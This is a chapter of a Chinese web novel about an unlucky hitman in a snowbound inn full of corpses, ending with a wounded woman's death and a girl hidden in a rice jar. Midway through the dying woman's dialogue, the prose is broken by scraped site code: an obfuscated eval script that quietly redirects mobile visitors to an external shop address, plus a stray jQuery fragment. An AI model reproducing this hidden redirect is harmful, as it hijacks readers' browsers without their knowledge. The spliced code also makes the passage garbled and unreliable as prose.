文趣网 > 都市小说 > 这个杀手不太冷,但倒霉 > 18.一路走好
    他站在走廊里,背靠着门板,把手机从口袋里掏出来。

    屏幕上没有任何未读短信和未接电话。

    奇怪,谭健怎么不烦我了?

    钉子一边往楼道走,一边给谭健打电话。

    好在对面依然是秒接,刚刚还有点担忧的心情,瞬间消散了。

    “贱贱,你睡啦?”

    对面传来重重地呼气声,显然是松了口气。

    谭健劈头盖脸一顿骂:“我睡你个头!我看是你睡得挺香!手机被人拿了都不知道!我不是叫你离开旅馆,给我滚到车里吗!”

    “嗯?我手机被人拿了吗?”钉子想了想,“哦……应该是刚刚昏迷的时候,被自己的迷药迷晕啦!”

    谭健:“……”

    钉子说话的声音很轻,听起来挺温柔,实际是怕隔墙有耳,毕竟他正在走廊上,不知道哪扇门后面就有耳朵。

    但到了谭健那边,他顿了顿,收敛了凶狠语气。“你不会还有哪里不舒服吧?”

    “没事,好得很,你在开车?”钉子听到电话那头传来急刹车的声音。

    “嗯……”

    “去哪里?这都快凌晨2点多了。”

    谭健一副别扭的语气,显然不太想说,在钉子再三追问下,终于如实相告了。

    “你的手机是别人接的,我怕你出事,现在已经赶往漠北镇了。”

    “什么?!”钉子哭笑不得:“这边暴雪,路都封了,等你赶到估计都天亮了。”

    “罪魁祸首不应该是你吗?”

    不知不觉间,钉子已经下到2楼,他正在逐个房查看。

    “好好好,都是我的错,不说了,我要办事了,一会儿给你发信息。”

    “行。等我到了,记得叫我一声爸。”

    钉子莫名其妙地看了眼手机,挂了电话,就当是谭健长期不睡觉,脑子不清醒了。

    钉子收起手机,刚推开205房门,就吓了一跳。

    里面的状况比他这一晚上见过的任何一间房间都要惨烈。

    桌子翻了,玻璃碎了一地,椅子歪在地上,到处都是暗红色的血迹。

    两具尸体躺在地上。一具是那个短发女孩,血已经干了大半,整个人侧躺着,像睡着了一样。

    这不是那个追着他跑的花痴女孩吗?虽然他不知道发生了什么,但他为她感到惋惜。

    钉子对着尸体双手合十,叽里咕噜了几句,就当是为她祈祷送行了。

    另一具尸体趴在地板上,面朝下,穿着一件黑色紧身毛衣,背上被扎得稀烂,看不出原来的形状,后脑勺光秃秃的。

    钉子蹲过去,歪着头看了好一会儿才认出来。

    原来是那个波浪卷发的女人。

    摘掉假发原来是这副模样。一个光头男人。

    就说看起来不像女的,果然是男扮女装。

    如果这个光头死了,那自称张三的眼镜老头岂不是可以坐享其成?他自己都不需要动手了。

    怪不得他那么淡定地坐在407房间里翘着腿。

    钉子怀疑世上存在自己这么个倒霉蛋,就存在着张三那么个幸运咖。

    钉子站起来,扫了一圈房间,黑箱子不在这里。

    本来他不想再找那箱钱,但张三想要,他就不会让他得到。

    他走出205,轻轻把门带上。

    钉子算了算,现在已经死了四个人了:旅馆老板、“狗蛋”、波浪卷发男、齐肩短发女。刚去405的时候,发现粗犷男也就是偷他手机的男人不在,看来他已经醒了。

    醒了却没看到踪迹,这三层楼都没有其他人,连那个邢招俤也不在。

    只剩下厨房那头没去了,他准备过去看看。

    从一楼下去到后院,白雪皑皑,寒气逼人。钉子缩了缩脖子,裹紧外套,小心翼翼地往厨房门口走去。

    厨房的门半开着。

    里面传来打斗声,钉子在门口站定,偷偷看里面什么情况。外头寒风呼啸,冻得钉子直哆嗦,但他不能贸然进去。

    “那个?”钉子又仔细看了眼,齐肩短发女孩?不是死在了205吗?不会是诈死吧?

    钉子看不清里面晃动的人影,也没怎么听清里面的对话,他的注意力都在短发女孩身上。

    双胞胎啊……

    钉子总算从她们身上不同地方的血迹判断出来。

    那哪个是花痴来着?一见面就朝他眨眼睛抛媚眼,追着他跑。

    钉子晃了晃头,现在不是想这个的时候,不管是哪个,看样子都不太好惹。

    他还看到了邢招俤,原来邢招俤一直躲在这里。

    他隐约听到邢招俤说那个粗犷男是杀人凶手,又说了些什么听不太清。

    于是,他想再凑近一点,结果倒霉体质附体,脚下一滑,直接推开门滑进去了。

    “我靠!”

    钉子摔在了邢招俤背上,那把刀刺进粗犷男脖子。

    “不是,你们蹲在门旁边干什么……”钉子抱怨,虽然他知道他们蹲在门边,但为了先发制人,先把责任甩在他们身上,他得先说几句。

    “诶,你们在这里杀人啊?”钉子站稳身子,退后了两步。

    西琪抬眸看向钉子:“是你杀的。”

    “什么?我都没碰到他!”钉子辩解:“怎么能随便冤枉好人呢!”

    西琪泄力地坐下来,粗重地喘气,她此刻没有精力跟钉子说话。

    钉子知道她需要休息,也没去烦她,而是将目光转向了邢招俤,邢招俤此时已呆若木鸡。

    她缩在墙角,两只手抱着膝盖,整个人蜷成一团,目光定在粗犷男那具已经不再动的尸体上。

    钉子走过去蹲在她面前。他的影子挡住了她的视线,邢招俤的瞳孔慢慢聚了一下,看见了他。

    “喂,”钉子的声音放得很轻,“别看了,他死透了哦。”

    邢招俤的嘴唇动了一下。“我……”她的声音卡在喉咙里,挤出来的时候又细又碎,“我没有想杀他……”

    “我知道。”钉子说,“你只是拿着刀,是我摔了一下。跟你没关系。”

    邢招俤看着他,眼睛里那层水光慢慢晃起来,但没有掉下来。“他……他是坏人……”

    “嗯。”钉子点了点头,“他是坏人,你做得对,坏人死不足惜。”

    邢招俤的睫毛终于湿了。

    眼泪沿着脸颊淌下来,混着脸上的灰和干了的血渍,在下巴尖上汇成一滴。

    钉子站起来,转身看了一眼西琪。

    她靠墙坐着,头歪向一边,刚才那阵粗重的呼吸已经变弱了,变得又浅又短。

    她的脸色比刚才更白了,钉子走过去蹲在她面前。

    “喂。”他轻轻拍了拍她的肩膀,“你还好吗?”

    西琪的眼皮动了一下,她睁开了眼睛,瞳孔有些散,嘴唇动了一下,声音很轻。“……箱子。”

    “箱子在那儿。”钉子说,“你别说话了。”

    西琪的嘴角动了动。

    “血……”她的声音越来越小,“止不住……”

    钉子低头看她的腰侧。她那一侧的衣服已经被血浸透了。

    她刚才一直在动,一直在撑,伤口被反复撕开,现在已经流得太多了。钉子伸手按住那个位置,掌心感觉到的是湿热和滑腻,血还在往外渗,从他的指缝间慢慢溢出来。

    “别说话,”钉子说,“你撑着,天快亮了,我会送你去医院。”

    西琪摇了摇头。那个动作很轻,几乎看不出,但钉子看见了。

    “撑不住了。”她说,声音飘飘的。

    钉子没有打断她。他一只手按着她腰侧的伤口,另一只手轻轻碰了碰她的肩膀。

    “

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17826602|210489||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    那个箱子……”西琪的眼睛看着他,瞳孔开始散了,但还在努力聚着焦距,“里面有一百万……”

    邢招俤坐在离她不远的地方,听着她说,不敢打断。

    “我知道。”钉子说。

    “我不是西琪。”她说,“我叫瑾涟。”

    钉子没有回答。他的手指轻轻按着她的肩膀,像是告诉她“我在听着”。

    “真正的西琪……十年前就死了。”她的声音越来越轻,“在玉兰岛上……那些绑匪……”

    “嗯。”钉子说。

    “我把她葬在了沙头市……市区的墓园……”西琪的眼睛慢慢合上了一些,又睁开,费力地眨了一下,“你能帮我……把我也葬在那里吗?挨着她……”

    “好。”

    “钱……”她的手指动了一下,“那笔钱……拿去给……妇女儿童……那些公益组织……别让别人拿走……”

    钉子看着她,看着她越来越白的嘴唇和越来越散的瞳孔。他用掌心按着她腰侧的伤口,那里的血还在往外渗,已经把手心整个浸透了。

    “好。”他说,“我记住了。”

    西琪的眼睛慢慢合上了。她的睫毛轻轻颤了一下,然后不动了。

    她的呼吸从一下一下变得间隔越来越长,最后那一下从她喉咙深处轻轻漏出来。她的头歪向了一边。

    钉子在她面前蹲了很久。

    他没有完全听明白她的话,但大概能推测到,这笔钱要抢来做公益,她要葬在好朋友身边。

    钉子的掌心还按着她腰侧那道伤口,血已经不怎么往外流了,手心那一片温热也在慢慢变凉。

    他慢慢把手收回来,在裤子上擦了擦,然后站起来。

    邢招俤还缩在墙角,两只手抱着膝盖,下巴搁在手臂上,静静地看着这一幕。她没有说话,没有告诉钉子箱子里只有50万,此刻,她谁也不敢再相信了。

    钉子站在原地,看了一眼墙角那个黑箱子。

    随后他弯腰把那个黑色行李箱拉起来,拖到灶台旁边靠好。然后他走到邢招俤面前蹲下来,声音很轻:“你去找个安全的地方躲起来。”

    “我还能躲到哪里……”

    钉子看着魂不守舍的邢招俤,心里感叹了一句,确实,其他房间更不安全。

    他这一路走过来,这些房间不是打斗过就是藏着尸体,把她留在哪间房里他都不放心。

    他脑子里冒出来一个念头——整个旅馆现在只剩下三个人了,他、邢招俤、还有那个戴眼镜的张三。

    那个人能干那么多大案活到现在,肯定有两把刷子,自己绝不能跟他硬碰硬。

    硬碰硬就是找死。

    他可以先把厨房布置点机关,把张三引过来,有了机关辅助,胜算会高一些。

    “行,那你……”钉子环视了一圈厨房,灶台旁边立着一口半人高的大米缸,木头盖子盖得严严实实。

    他走过去掀开盖子看了一眼,里面还剩大约四分之一的米,底部铺了薄薄一层。

    他伸手进去探了探,缸壁干燥,空间足够大,塞一个邢招俤完全不成问题。

    钉子把缸里的米倒进了灶台上的大铁锅里,白花花的米铺了半锅。

    缸底露出了干净的陶面。

    他扶着邢招俤的胳膊把她引到米缸旁边,她整个人还是木的,腿脚发软,但好歹能走。

    钉子帮她跨进米缸,她蹲下来蜷成一团,刚好能坐进去,膝盖抵着下巴。

    钉子把木头盖子盖上,在她头顶压了压,盖严实了。

    “不管发生什么都不要出来。”钉子说。

    邢招俤的声音从缸里闷闷地传出来:“……嗯。”

    钉子站起来,拍了拍手上的米灰。

    离天亮还有两个多小时,他必须尽快截住张三,不要让他拿到钱跑路,否则后续将可能再也找不到他。